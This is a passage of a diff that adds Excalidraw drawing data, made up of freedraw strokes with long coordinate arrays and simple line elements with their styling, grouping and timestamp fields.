4.2214353726583305, + -0.8442741917332606 + ], + [ + 3.3771611809249675, + 0 + ], + [ + 2.9550240850583886, + 0 + ], + [ + 2.110717686329269, + 0.8442822434823029 + ], + [ + 0, + 1.266443494595905 + ], + [ + 0, + 1.6885725387135446 + ], + [ + -0.4221370958665786, + 1.6885725387135446 + ], + [ + 0, + 1.266443494595905 + ], + [ + 5.9100159631210225, + -1.2664354428468627 + ], + [ + 16.041467298900166, + -5.065709564391643 + ], + [ + 26.172918634679313, + -9.287144937049975 + ], + [ + 39.259361848521095, + -12.664306117975046 + ], + [ + 43.902934317046004, + -13.508580309708305 + ], + [ + 44.32507141291279, + -13.508580309708305 + ], + [ + 44.32507141291279, + -14.35287865668859 + ], + [ + 44.747208508779366, + -15.619297996037524 + ], + [ + 45.16937781164191, + -17.307886638249 + ], + [ + 45.59151490750849, + -17.307886638249 + ], + [ + 45.59151490750849, + -16.46359634301776 + ], + [ + 44.32507141291279, + -14.35287865668859 + ], + [ + 40.52577313612104, + -10.131443284030208 + ], + [ + 36.726507066325254, + -4.221435372658331 + ], + [ + 31.238628199071012, + 0.8442822434823029 + ], + [ + 26.172918634679313, + 6.3321530589874975 + ], + [ + 24.06220094835026, + 8.442870745316714 + ], + [ + 21.951483262020986, + 10.97572552751251 + ], + [ + 20.2629026715585, + 13.9307496125709 + ], + [ + 20.2629026715585, + 14.35287865668859 + ], + [ + 20.2629026715585, + 13.508588361457296 + ], + [ + 21.529313959158443, + 11.820031926241734 + ], + [ + 26.595055730545898, + 6.3321530589874975 + ], + [ + 35.88220066759592, + -0.8442741917332606 + ], + [ + 43.48079722117943, + -6.754298206603118 + ], + [ + 47.28009549797118, + -9.709306188163577 + ], + [ + 47.702232593837756, + -10.55358843164583 + ], + [ + 47.702232593837756, + -10.131443284030208 + ], + [ + 46.85792619510843, + -8.020725597701041 + ], + [ + 46.01365200337528, + -5.065709564391643 + ], + [ + 40.94794243898358, + 4.221435372658331 + ], + [ + 36.304337763462705, + 11.39787067512813 + ], + [ + 34.19362007713344, + 14.775023804304212 + ], + [ + 31.660765294937587, + 17.73002373411568 + ], + [ + 30.39435400733765, + 21.529313959158394 + ], + [ + 29.550047608608526, + 22.795749402005303 + ], + [ + 29.550047608608526, + 23.217894549620922 + ], + [ + 29.550047608608526, + 21.529313959158394 + ], + [ + 29.550047608608526, + 18.152184985229283 + ], + [ + 31.238628199071012, + 12.664306117975046 + ], + [ + 34.61578937999598, + 4.643580520273952 + ], + [ + 38.415055449791765, + -2.5328628339447863 + ], + [ + 40.94794243898358, + -6.754298206603118 + ], + [ + 41.79221663071674, + -8.865015892932336 + ], + [ + 42.21435372658352, + -9.287144937049975 + ], + [ + 42.21435372658352, + -8.442870745316663 + ], + [ + 39.68149894438768, + -1.6885725387135446 + ], + [ + 35.46006357172934, + 5.910007911371876 + ], + [ + 29.127910512741742, + 18.574314029346922 + ], + [ + 28.70577341687516, + 19.84074142044485 + ], + [ + 25.750749331816774, + 27.861467018145884 + ], + [ + 25.32861223594999, + 28.28361216576156 + ], + [ + 24.906475140083412, + 29.972184704475108 + ], + [ + 24.48433804421683, + 29.972184704475108 + ], + [ + 24.06220094835026, + 29.972184704475108 + ], + [ + 23.217894549620926, + 28.28361216576156 + ], + [ + 21.529313959158443, + 22.795749402005303 + ], + [ + 20.2629026715585, + 16.46359634301776 + ], + [ + 19.418596272829177, + 11.820031926241734 + ], + [ + 18.574322081096017, + 7.598596553583402 + ], + [ + 18.15218498522923, + 6.754298206603169 + ], + [ + 17.730047889362652, + 5.487878867254236 + ], + [ + 17.307878586500113, + 4.643580520273952 + ], + [ + 16.463604394766747, + 4.643580520273952 + ], + [ + 16.041467298900166, + 4.221435372658331 + ], + [ + 15.197160900170841, + 3.79929022504271 + ], + [ + 13.508612516704321, + 3.377161180925071 + ], + [ + 10.553588431645933, + 2.9549999298114686 + ], + [ + 8.865007841183449, + 2.9549999298114686 + ], + [ + 6.754290154854179, + 2.1107176863291657 + ], + [ + 5.9100159631210225, + 1.6885725387135446 + ], + [ + 5.487878867254237, + 1.6885725387135446 + ], + [ + 5.487878867254237, + 2.1107176863291657 + ], + [ + 5.9100159631210225, + 2.9549999298114686 + ], + [ + 9.28717714404599, + 6.3321530589874975 + ], + [ + 11.820031926241837, + 9.287152988798965 + ], + [ + 15.619330203033591, + 13.508588361457296 + ], + [ + 18.574322081096017, + 17.73002373411568 + ], + [ + 21.107176863291865, + 22.795749402005303 + ], + [ + 21.529313959158443, + 24.062176793103177 + ], + [ + 21.529313959158443, + 24.906467088334473 + ], + [ + 19.418596272829177, + 23.217894549620922 + ], + [ + 13.086443213841779, + 19.84074142044485 + ], + [ + 1.2664434945959053, + 12.242160970359427 + ], + [ + -3.3771289739290054, + 8.020725597701041 + ], + [ + -4.2214353726583305, + 7.176435302469801 + ], + [ + -4.2214353726583305, + 6.754298206603169 + ], + [ + -4.2214353726583305, + 7.598596553583402 + ], + [ + 0.4221370958665786, + 13.086443213841676 + ], + [ + 8.020733649450083, + 18.152184985229283 + ], + [ + 10.553588431645933, + 19.418596272829173 + ], + [ + 16.885741490633322, + 21.951459106774013 + ], + [ + 17.730047889362652, + 21.951459106774013 + ], + [ + 18.574322081096017, + 21.951459106774013 + ], + [ + 18.996459176962595, + 21.951459106774013 + ], + [ + 19.840765575691716, + 15.619306047786463 + ], + [ + 20.685039767425078, + 9.287152988798965 + ], + [ + 21.529313959158443, + 0.42214514761562094 + ], + [ + 22.37362035788777, + -5.487870815505245 + ], + [ + 23.640031645487504, + -8.020725597701041 + ], + [ + 24.06220094835026, + -8.865015892932336 + ], + [ + 24.06220094835026, + -6.3321530589874975 + ], + [ + 24.06220094835026, + -4.221435372658331 + ], + [ + 23.217894549620926, + -2.9549918780624265 + ], + [ + 24.06220094835026, + -3.79929022504271 + ], + [ + 24.906475140083412, + -4.643580520273952 + ], + [ + 27.86146701814604, + -8.020725597701041 + ], + [ + 35.46006357172934, + -13.930741560821959 + ], + [ + 42.6364908224501, + -19.418604324578162 + ], + [ + 45.59151490750849, + -21.95145105502502 + ], + [ + 45.59151490750849, + -21.52932201090738 + ], + [ + 44.32507141291279, + -18.996459176962542 + ], + [ + 40.52577313612104, + -15.197168951919831 + ], + [ + 37.99291835392519, + -12.664306117975046 + ], + [ + 36.726507066325254, + -12.242160970359373 + ], + [ + 37.14864416219183, + -13.930741560821959 + ], + [ + 38.837224752654315, + -17.307886638249 + ], + [ + 40.10363604025425, + -19.418604324578162 + ], + [ + 40.52577313612104, + -20.262894619809458 + ], + [ + 40.52577313612104, + -20.685031715676086 + ], + [ + 40.52577313612104, + -21.107176863291706 + ], + [ + 40.10363604025425, + -21.107176863291706 + ], + [ + 36.726507066325254, + -21.107176863291706 + ], + [ + 32.08290239080417, + -19.418604324578162 + ], + [ + 22.37362035788777, + -16.46359634301776 + ], + [ + 14.775023804304263, + -13.086451265590668 + ], + [ + 5.9100159631210225, + -9.709306188163577 + ], + [ + 1.2664434945959053, + -8.020725597701041 + ], + [ + -0.8442741917331572, + -6.754298206603118 + ], + [ + -1.6885805904624838, + -6.3321530589874975 + ], + [ + -2.1107176863290626, + -6.3321530589874975 + ], + [ + -2.1107176863290626, + -5.910007911371876 + ], + [ + -3.3771289739290054, + -5.065709564391643 + ], + [ + -3.799298276791546, + -4.643580520273952 + ], + [ + -4.2214353726583305, + -4.221435372658331 + ], + [ + -4.64357246852491, + -4.221435372658331 + ], + [ + -5.065709564391695, + -4.221435372658331 + ], + [ + -5.487846660258275, + -4.221435372658331 + ], + [ + -5.487846660258275, + -4.221435372658331 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1512, + "versionNonce": 514990304, + "index": "c1t86", + "isDeleted": false, + "id": "BPFZKJ4ABjblkHOmqGrF6", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3958.834985276817, + "y": -969.4253336262489, + "strokeColor": "#0b7285", + "backgroundColor": "transparent", + "width": 8.442870745316872, + "height": 5.910011937246398, + "seed": 1671784904, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + -0.8442782176077301 + ], + [ + 0, + -1.2664273910978723 + ], + [ + -0.4221370958667853, + -1.2664273910978723 + ], + [ + -1.266411287599943, + -1.2664273910978723 + ], + [ + -2.9549918780624274, + -1.2664273910978723 + ], + [ + -5.065709564391697, + -0.8442782176077301 + ], + [ + -5.487846660258276, + -0.42214112174109975 + ], + [ + -5.909983756125061, + 0.4221451476156726 + ], + [ + -5.909983756125061, + 0.8442902952312937 + ], + [ + -5.909983756125061, + 1.688576564588066 + ], + [ + -5.487846660258276, + 1.266439468721436 + ], + [ + -2.5328547821958485, + 0.4221451476156726 + ], + [ + -1.266411287599943, + 0 + ], + [ + 0.8443063987291204, + -1.2664273910978723 + ], + [ + 1.2664434945959056, + -1.6885725387134929 + ], + [ + 1.2664434945959056, + -2.9549959039369478 + ], + [ + 1.2664434945959056, + -3.7992902250427103 + ], + [ + 1.2664434945959056, + -4.221435372658332 + ], + [ + 0, + -3.7992902250427103 + ], + [ + -0.844274191733364, + -2.532858808070266 + ], + [ + -1.6885483834665216, + -1.2664273910978723 + ], + [ + -2.11071768632927, + -0.42214112174109975 + ], + [ + -2.9549918780624274, + 0 + ], + [ + -2.9549918780624274, + 1.266439468721436 + ], + [ + -2.11071768632927, + 1.266439468721436 + ], + [ + -0.844274191733364, + 1.266439468721436 + ], + [ + 0.42216930286254156, + 1.266439468721436 + ], + [ + 1.6885805904624844, + 1.266439468721436 + ], + [ + 2.11071768632927, + 0.8442902952312937 + ], + [ + 2.532886989191811, + 0.8442902952312937 + ], + [ + 2.532886989191811, + 0.4221451476156726 + ], + [ + 0, + 0 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1506, + "versionNonce": 1232798944, + "index": "c1t88", + "isDeleted": false, + "id": "SbX0OLsjIMP9ai3I8wdpq", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3996.405766534869, + "y": -916.6573914680173, + "strokeColor": "#0b7285", + "backgroundColor": "transparent", + "width": 12.664306117974997, + "height": 11.397878726877126, + "seed": 2112155848, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0.4221370958665787, + 0 + ], + [ + 0.4221370958665787, + 0.4221612511136024 + ], + [ + 0.4221370958665787, + 2.532878937442769 + ], + [ + 0.4221370958665787, + 2.9550079815604087 + ], + [ + -0.8442741917331574, + 5.065725667889627 + ], + [ + -2.5328547821958485, + 6.332153058987498 + ], + [ + -4.221435372658333, + 7.176443354218793 + ], + [ + -6.754290154854182, + 8.020725597701043 + ], + [ + -7.598564346587339, + 8.442870745316664 + ], + [ + -8.442870745316666, + 8.442870745316664 + ], + [ + -8.442870745316666, + 8.86503199643032 + ], + [ + -9.287144937049822, + 8.86503199643032 + ], + [ + -8.020733649450088, + 8.86503199643032 + ], + [ + -5.487846660258276, + 8.442870745316664 + ], + [ + -0.4221370958665787, + 6.754314310101101 + ], + [ + 2.95502408505839, + 4.643596623771935 + ], + [ + 3.3771611809251754, + 4.643596623771935 + ], + [ + 3.3771611809251754, + 5.910007911371877 + ], + [ + 2.5328547821958485, + 7.176443354218793 + ], + [ + 0.4221370958665787, + 8.442870745316664 + ], + [ + -0.8442741917331574, + 10.131443284030212 + ], + [ + -1.266411287599943, + 10.553588431645883 + ], + [ + -1.266411287599943, + 10.975749682759485 + ], + [ + -1.6885805904624844, + 10.975749682759485 + ], + [ + -1.6885805904624844, + 11.397878726877126 + ], + [ + -1.266411287599943, + 11.397878726877126 + ], + [ + -0.4221370958665787, + 11.397878726877126 + ], + [ + 0, + 11.397878726877126 + ], + [ + 0, + 11.397878726877126 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1494, + "versionNonce": 1904699616, + "index": "c1t89", + "isDeleted": false, + "id": "L_FeM4jU8neBauwPmlCyX", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3998.094347125335, + "y": -911.5916658001281, + "strokeColor": "#0b7285", + "backgroundColor": "transparent", + "width": 10.131419128783184, + "height": 5.065725667889625, + "seed": 1419483080, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0.8442741917333638, + 0 + ], + [ + 2.9549918780626325, + -0.8442902952312936 + ], + [ + 4.643572468525117, + -0.8442902952312936 + ], + [ + 5.065709564391695, + -0.8442902952312936 + ], + [ + 1.6885805904626905, + 0.8442822434822513 + ], + [ + -0.8442741917331572, + 1.6885886422114749 + ], + [ + -2.532854782195641, + 2.5328628339447867 + ], + [ + -4.2214353726583305, + 2.954999929811417 + ], + [ + -5.065709564391489, + 2.954999929811417 + ], + [ + -5.065709564391489, + 3.3771450774270386 + ], + [ + -5.065709564391489, + 4.221435372658332 + ], + [ + -4.2214353726583305, + 4.221435372658332 + ], + [ + -2.532854782195641, + 4.221435372658332 + ], + [ + -1.2664434945959053, + 3.3771450774270386 + ], + [ + -0.8442741917331572, + 3.3771450774270386 + ], + [ + 0, + 0 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1590, + "versionNonce": 577195232, + "index": "c1t8A", + "isDeleted": false, + "id": "AGLTlc-Ia7r_Ulw_KQuKz", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3929.8526608509505, + "y": -978.8435119252863, + "strokeColor": "#0b7285", + "backgroundColor": "transparent", + "width": 24.062168741354295, + "height": 24.0621808189777, + "seed": 199581384, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0.4221370958665786, + 0 + ], + [ + 0.4221370958665786, + 0.8442862693567725 + ], + [ + 0.4221370958665786, + 1.2664314169723934 + ], + [ + 0.4221370958665786, + 1.688580590462536 + ], + [ + 0.4221370958665786, + 2.9550039556859384 + ], + [ + 0.4221370958665786, + 3.37714910330156 + ], + [ + 0.4221370958665786, + 5.065721642015105 + ], + [ + 0.4221370958665786, + 6.33215305898755 + ], + [ + -0.4221370958665786, + 7.176439328344323 + ], + [ + -1.2664434945959053, + 7.598584475959944 + ], + [ + -2.110717686329269, + 8.442870745316716 + ], + [ + -3.377161180925175, + 8.865011867057815 + ], + [ + -5.065741771387659, + 9.709302162289111 + ], + [ + -5.9100159631208165, + 10.553588431645881 + ], + [ + -6.75429015485418, + 11.397874701002653 + ], + [ + -7.5985965535833, + 11.397874701002653 + ], + [ + -9.287177144045991, + 12.242169022108417 + ], + [ + -9.70931423991257, + 12.664306117975048 + ], + [ + -10.553588431645933, + 12.664306117975048 + ], + [ + -10.553588431645933, + 13.086447239716199 + ], + [ + -10.131451335779147, + 13.086447239716199 + ], + [ + -9.70931423991257, + 13.086447239716199 + ], + [ + -8.865007841183449, + 13.086447239716199 + ], + [ + -8.020733649450086, + 13.508592387331822 + ], + [ + -7.176459457716721, + 13.508592387331822 + ], + [ + -6.3321530589873944, + 14.775023804304213 + ], + [ + -4.221435372658332, + 15.619310073660987 + ], + [ + -2.9550240850583895, + 16.46360439476675 + ], + [ + -1.6885805904624842, + 16.88574149063338 + ], + [ + -0.8443063987291203, + 17.307882612374527 + ], + [ + -0.4221370958665786, + 17.730027759990154 + ], + [ + 0, + 18.152168881731306 + ], + [ + 0, + 18.996459176962595 + ], + [ + 0.8442741917333638, + 19.418600298703698 + ], + [ + 0.8442741917333638, + 20.262886568060473 + ], + [ + 1.2664112875999425, + 21.107176863291762 + ], + [ + 1.2664112875999425, + 21.529317985032858 + ], + [ + 1.6885805904624842, + 21.951463132648534 + ], + [ + 1.6885805904624842, + 22.795757453754252 + ], + [ + 1.6885805904624842, + 23.217894549620926 + ], + [ + 2.110717686329269, + 23.64003567136208 + ], + [ + 2.110717686329269, + 24.0621808189777 + ], + [ + 2.110717686329269, + 23.64003567136208 + ], + [ + 2.954991878062427, + 22.373604254389637 + ], + [ + 3.799298276791753, + 20.262886568060473 + ], + [ + 5.065709564391696, + 18.996459176962595 + ], + [ + 5.9100159631208165, + 16.88574149063338 + ], + [ + 8.020733649450086, + 14.775023804304213 + ], + [ + 8.865007841183449, + 13.508592387331822 + ], + [ + 9.709282032916606, + 13.508592387331822 + ], + [ + 10.131451335779147, + 12.664306117975048 + ], + [ + 10.553588431645933, + 12.242169022108417 + ], + [ + 11.39786262337909, + 12.242169022108417 + ], + [ + 12.242169022108417, + 11.820015822743805 + ], + [ + 12.664306117974997, + 11.820015822743805 + ], + [ + 13.086443213841576, + 11.820015822743805 + ], + [ + 13.50858030970836, + 11.820015822743805 + ], + [ + 13.086443213841576, + 11.397874701002653 + ], + [ + 12.242169022108417, + 10.975729553387032 + ], + [ + 10.131451335779147, + 9.709302162289111 + ], + [ + 8.020733649450086, + 9.287157014673488 + ], + [ + 6.3321530589873944, + 8.442870745316716 + ], + [ + 5.487846660258275, + 7.598584475959944 + ], + [ + 5.065709564391696, + 7.598584475959944 + ], + [ + 4.221435372658332, + 7.176439328344323 + ], + [ + 4.221435372658332, + 6.75429418072865 + ], + [ + 3.3771289739290054, + 6.75429418072865 + ], + [ + 2.532854782195848, + 6.33215305898755 + ], + [ + 2.110717686329269, + 5.910015963120868 + ], + [ + 2.110717686329269, + 5.487866789630778 + ], + [ + 2.110717686329269, + 4.6435764943994835 + ], + [ + 2.110717686329269, + 4.221435372658332 + ], + [ + 2.110717686329269, + 4.221435372658332 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "line", + "version": 1444, + "versionNonce": 1974120672, + "index": "c1t8C", + "isDeleted": false, + "id": "PnEmmspI6KLMirNygXSqU", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3971.3539501532136, + "y": -955.448100287588, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 10.67163114803039, + "height": 10.309879653212445, + "seed": 1683899848, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 10.67163114803039, + 10.309879653212445 + ] + ] + }, + { + "type": "line", + "version": 1451, + "versionNonce": 1390515424, + "index": "c1t8E", + "isDeleted": false, + "id": "MXpyOAI5k987iulGoVNlo", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3979.67420003485, + "y": -957.6186023566581, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 37.07938677219797, + "height": 37.26026251960684, + "seed": 723668168, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 37.07938677219797, + -37.26026251960684 + ] + ] + }, + { + "type": "line", + "version": 1463, + "versionNonce": 798750944, + "index": "c1t8G", + "isDeleted": false, + "id": "VKhr5kG7QmntjywcLTnfm", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3982.5681981937173, + "y": -953.8202289106596, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 38.52639275146955, + "height": 37.62201056450682, + "seed": 701330376, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 38.52639275146955, + -37.62201056450682 + ] + ] + }, + { + "type": "line", + "version": 1428, + "versionNonce": 1332337888, + "index": "c1t8H", + "isDeleted": false, + "id": "uWjJ5cxQj2b3-4UdhSY64", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3978.9506970452067, + "y": -957.2568508618397, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 3.617501148507033, + "height": 3.074877356198222, + "seed": 377207496, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 3.617501148507033, + 3.074877356198222 + ] + ] + }, + { + "type": "line", + "version": 1397, + "versionNonce": 64700640, + "index": "c1t8I", + "isDeleted": false, + "id": "xngh2GUCS5zUl39cLkzF3", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 4015.6683392224268, + "y": -995.6023644159834, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 5.7879963177426905, + "height": 4.160124940815999, + "seed": 63513032, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.7879963177426905, + 4.160124940815999 + ] + ] + }, + { + "type": "line", + "version": 1411, + "versionNonce": 1820337376, + "index": "c1t8K", + "isDeleted": false, + "id": "pGRF68F9vacwZmciQiMDT", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3971.534822450703, + "y": -957.0759785643479, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 5.426251722760653, + "height": 1.2661267819446538, + "seed": 1355917512, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.426251722760653, + -1.2661267819446538 + ] + ] + }, + { + "type": "line", + "version": 1409, + "versionNonce": 921209056, + "index": "c1t8M", + "isDeleted": false, + "id": "8XIlmtAB48KvYILYwHdU0", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3982.5681981937173, + "y": -945.3190998317002, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 2.3513812663983917, + "height": 5.064500227942758, + "seed": 422662088, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.3513812663983917, + -5.064500227942758 + ] + ] + }, + { + "type": "line", + "version": 1450, + "versionNonce": 1587834080, + "index": "c1t8O", + "isDeleted": false, + "id": "1E9f1t6jydNLNe8dWgAKC", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3976.9610741734655, + "y": -957.7994746541476, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 8.320249881631998, + "height": 7.777626089323136, + "seed": 621024968, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 8.320249881631998, + 7.777626089323136 + ] + ] + }, + { + "type": "line", + "version": 1469, + "versionNonce": 1833160928, + "index": "c1t8P", + "isDeleted": false, + "id": "Ay6HGqkGhIqbUZ_Deg1ay", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3969.364327281474, + "y": -955.8098517824037, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 57.88002527594968, + "height": 22.24763068335158, + "seed": 1491467720, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -57.88002527594968, + 22.24763068335158 + ] + ] + }, + { + "type": "line", + "version": 1437, + "versionNonce": 978760928, + "index": "c1t8Q", + "isDeleted": false, + "id": "i3lBXss1TnZKQq6wJGgqu", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3981.844695204079, + "y": -944.2338453472476, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 23.151999070642585, + "height": 56.97563618915121, + "seed": 636683464, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -23.151999070642585, + 56.97563618915121 + ] + ] + }, + { + "type": "line", + "version": 1449, + "versionNonce": 728570080, + "index": "c1t8S", + "isDeleted": false, + "id": "fGmKceBVfqSGakM8rmGHJ", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3912.0269257978316, + "y": -934.1048448913634, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 47.93189021771928, + "height": 48.474514010028194, + "seed": 2043096008, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 47.93189021771928, + 48.474514010028194 + ] + ] + }, + { + "type": "line", + "version": 1429, + "versionNonce": 1947663584, + "index": "c1t8U", + "isDeleted": false, + "id": "bkD2d16wjIw1KwYxdqoy7", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3961.767566589799, + "y": -926.3272188020378, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 